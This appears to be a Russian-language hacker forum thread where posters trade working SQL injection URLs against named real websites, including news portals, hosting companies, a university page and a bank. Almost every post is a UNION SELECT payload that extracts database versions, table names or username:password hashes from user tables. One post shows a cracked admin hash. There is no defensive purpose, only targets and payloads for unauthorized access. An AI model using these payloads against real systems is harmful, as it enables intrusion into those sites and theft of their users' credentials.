SQL Инъекции

Млин, я думал его уже давно закрыли... Его ломали не раз.
Кстати

Code:

http://www.astromag.ru/news.php?id=-2+union+select+1,TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+13,1/*

 

Code:

http://www.cirad.fr/en/actualite/communique.php?id=-1+union+select+1,2,3,4,5,6,7,8,9/*

taблицы не подбирал =\

Code:

http://www.dahab-club.ru/hotel/hotel_prev.php?id=-1+union+select+1,2,3,4,5,6/*

вроде выкладывали, не помню..
версию и т.д. с помощью де/енкрипта вывести можно

 

скорее гармонь)) там еще форум прикручен

_http://forum.antichat.ru/showpost.php?p=275576

 

не знаю было или нет ,ну вот , таблицы не смог подобрать ,у кого получится ,напишите )
http://www.pimps.ru/pimps/articles/info.php?article_id=-1072%20union%20select%201,2,3,4,5,6,7/*

 

__http://www.in-sports.ru/index.php?page=menu&p=-1+union+select+1,version(),3,4,5,6/*

__http://www.urka.ru/consult.php?show=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+phpbb_users/*

 

Code:

http://21vek-tmn.ru/modules.php?id=-2+union+select+1,user(),3/*

Code:

http://www.autostolica.ru/news.php?id=-2+union+select+1,2,user(),version()/*

Code:

http://iwf.ru/main/top.php?id=-2+union+select+1,2,user(),4/*

Вроде всё, перебирал что знал но нечего... Если кто, что найдет киньте в пм, или за меня слона ушастого разнесите, на 1 скули.

 

http://www.urka.ru/consult.php?show=-1+union+select+1,2,3,concat(username,char(58),user_password),5,6,7,8,9,10,11,12,13+from+phpbb_users+limit+1,1/*

admin:81dc9bdb52d04dc20036dbd8313ed055

 

81dc9bdb52d04dc20036dbd8313ed055:1234
мда

 

http://www.britfilms.tv/index.php?id=-1+union+select+1,version()/*

 

__

 

"Идём" по покупки /инет магазины/
1. http://fixer.com.ua/information/?id=1'3
2. http://www.rosco.ru/cgi-bin/catalog.pl?tip1=20&kod=20CA1437B009'+union+select+1/* /так и не подобрал количество столбцов/
3. http://www.super.com.ua/local/plug-in/a-price/showone.php?groupid=51&id=-18895+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/* /не помню вроде уже вылаживал/
4. http://www.news.tut.kiev.ua/index.php?lang=1&part_id=200&item_id=2&article_id=-9999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+users/* /по статистике посещаемость 10 000 /

Всем желаю хорошо провести праздник

 

Вот форум:

Code:

http://www.britfilms.tv/forum/

Вот логин:

Code:

http://www.britfilms.tv/index.php?id=-1+union+select+1,user()+from+forum_user/*

Вот пароль в md5:

Code:

http://www.britfilms.tv/index.php?id=-1+union+select+1,password+from+forum_user/*

(первая моя до конца законченная sql которую я выкладываю).

 

ничего не подобрал

юзер один, видимо админ. Сейчас ищу админку

 

Code:

http://www.davisvisitor.com/additional.php?id=-1+union+select+1,2,3,version(),5/*

Code:

http://www.blankreb.com/studioarticles.php?ID=-1+union+select+1,2,3,version(),5,6,7,8/*

 

Code:

http://www.bizhost.ru/news/podrobno.php?id=-47+union+select+1,2,3,version(),5,6/*

Code:

http://www.bizhost.ru/news/podrobno.php?id=-47+union+select+1,2,3,table_name,5,6+from+information_schema.tables/*

Code:

http://www.bizhost.ru/news/podrobno.php?id=-47+union+select+1,2,3,column_name,5,6+from+information_schema.tables/*

вывод ппц кривой %)
зы мб выкладывали

 

Code:

http://german.berkeley.edu/people/showprofile.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15,16,17,18,19,20,21,22,23,24,25/*

 

Code:

http://www.ukrnic.com/hosting_info.php?id=-2+UNION+SELECT+1,version(),3/*

Code:

http://bitmaster.ru/index.php?id=21+UNION+SELECT+1,2,user(),4/*

Code:

http://www.leaderhost.ru/price/content.php?id=-8+union+select+1,2,database(),4,5,6/*

Code:

http://new.sweb.ru/news.php?id=-10+union+select+version(),2,3+from+customers/*

Code:

http://partytown.ru/music.php?id=-59+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(username,0x3a,password),21+from+sys_user/*

Code:

http://partytown.ru/music.php?id=-59+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(login,0x3a,password),21+from+pt_member+limit+7,1/*

Code:

http://partytown.ru/music.php?id=-59+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(login,0x3a,password),21+from+partychat_users+limit+214,1/*

Code:

http://partytown.ru/music.php?id=-59+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(username,0x3a,password),21+from+forum_user/*

 

_http://1690.homepagemodules.de/user.php?board=1690&id=-99+union+select+1,2,3,4,5,6,7,8,9,0,11,2,3,4,5,6,7,8,9,0,21,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,42/*

сервис бесплатных форумов...вот юзеров не смог найти

_http://rf.andymacht.de/member.php?ID=-99+union+select+1,concat(nick,0x3a,password,0x3a,email),3,4,5,6,7,8,9,0,1,12,3,4,5,6,7,8,9,0,1,22,3,4,5,6,7,8,9,30+from+user/*
так бестолковый скуль

_http://1690.homepagemodules.de/user.php?board=1690&id=-99+union+select+1,2,3,4,5,6,7,8,9,0,11,2,3,4,5,6,7,8,9,0,21,2,3,4,5,6,7,8,9,0,concat(name,0x3a,password),2,3,4,5,6,7,8,9,0,1,42+from+forum_user+limit+1,1/*
правда пассы генерит сам форум(( спс Хотабычу

 

дык там вроде 5 версия перебирай и смотри таблицы)) вот например forum_user

 

_http://www.vabank.ua/ru/news/financial_bulletin.html?id=4418%27&fp=21/*